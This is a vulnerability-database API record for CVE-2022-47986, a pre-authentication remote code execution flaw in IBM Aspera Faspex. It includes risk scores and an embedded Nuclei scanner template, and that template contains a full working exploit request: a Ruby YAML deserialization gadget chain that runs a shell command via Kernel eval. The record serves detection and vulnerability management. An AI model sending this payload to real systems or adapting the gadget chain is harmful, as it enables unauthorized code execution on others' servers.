{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-47986/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-47986/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-47986/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-47986/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-47986/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-47986"},"sightings":{"href":"/api/v1/sightings/cve-2022-47986"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99968,"kev":true,"percentile":0.99976},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-47986.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-47986\n\ninfo:\n  name: IBM Aspera Faspex <=4.4.2 PL1 - Remote Code Execution\n  author: coldfish\n  severity: critical\n  description: |\n    IBM Aspera Faspex through 4.4.2 Patch Level 1 is susceptible to remote code execution via a YAML deserialization flaw. This can allow an attacker to send a specially crafted obsolete API call and thereby execute arbitrary code, obtain sensitive data, and/or execute other unauthorized operations.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: The obsolete API call was removed in 4.4.2 PL2. This vulnerability can be remediated by upgrading to either 4.4.2 PL2 or 5.x.\n  reference:\n    - https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/\n    - https://www.ibm.com/support/pages/node/6952319\n    - https://exchange.xforce.ibmcloud.com/vulnerabilities/243512\n    - http://packetstormsecurity.com/files/171772/IBM-Aspera-Faspex-4.4.1-YAML-Deserialization.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-47986\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-47986\n    cwe-id: CWE-502\n    epss-score: 0.99968\n    epss-percentile: 0.99976\n    cpe: cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: linux\n    product: linux_kernel\n    shodan-query:\n      - html:\"Aspera Faspex\"\n      - cpe:\"cpe:2.3:o:linux:linux_kernel\"\n  tags: cve,cve2022,ibm,aspera,faspex,kev,packetstorm,linux,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /aspera/faspex/package_relay/relay_package HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: application/json\n\n        {\"package_file_list\": [\"/\"], \"external_emails\": \"\\n---\\n- !ruby/object:Gem::Installer\\n    i: x\\n- !ruby/object:Gem::SpecFetcher\\n    i: y\\n- !ruby/object:Gem::Requirement\\n  requirements:\\n    !ruby/object:Gem::Package::TarReader\\n    io: &1 !ruby/object:Net::BufferedIO\\n      io: &1 !ruby/object:Gem::Package::TarReader::Entry\\n         read: 0\\n         header: \\\"pew\\\"\\n      debug_output: &1 !ruby/object:Net::WriteAdapter\\n         socket: &1 !ruby/object:PrettyPrint\\n             output: !ruby/object:Net::WriteAdapter\\n                 socket: &1 !ruby/module \\\"Kernel\\\"\\n                 method_id: :eval\\n             newline: \\\"throw `id`\\\"\\n             buffer: {}\\n             group_stack:\\n              - !ruby/object:PrettyPrint::Group\\n                break: true\\n         method_id: :breakable\\n\", \"package_name\": \"{{rand_base(4)}}\", \"package_note\": \"{{randstr}}\", \"original_sender_name\": \"{{randstr}}\", \"package_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"metadata_human_readable\": \"Yes\", \"forward\": \"pew\", \"metadata_json\": \"{}\", \"delivery_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"delivery_sender_name\": \"{{rand_base(8)}}\", \"delivery_title\": \"{{rand_base(4)}}\", \"delivery_note\": \"{{rand_base(4)}}\", \"delete_after_download\": true, \"delete_after_download_condition\": \"IDK\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: regex\n        regex:\n          - 'uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)'\n\n      - type: status\n        status:\n          - 500\n# digest: 4a0a0047304502204811f8006e67f6353ef9eb7825b17fbcf81a584c594f910834e44bad8a29988a022100896130d20d4a546873bfb3ff58dbd938aa3d3413515eafa3c0235ddd6afa2818:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-47986"}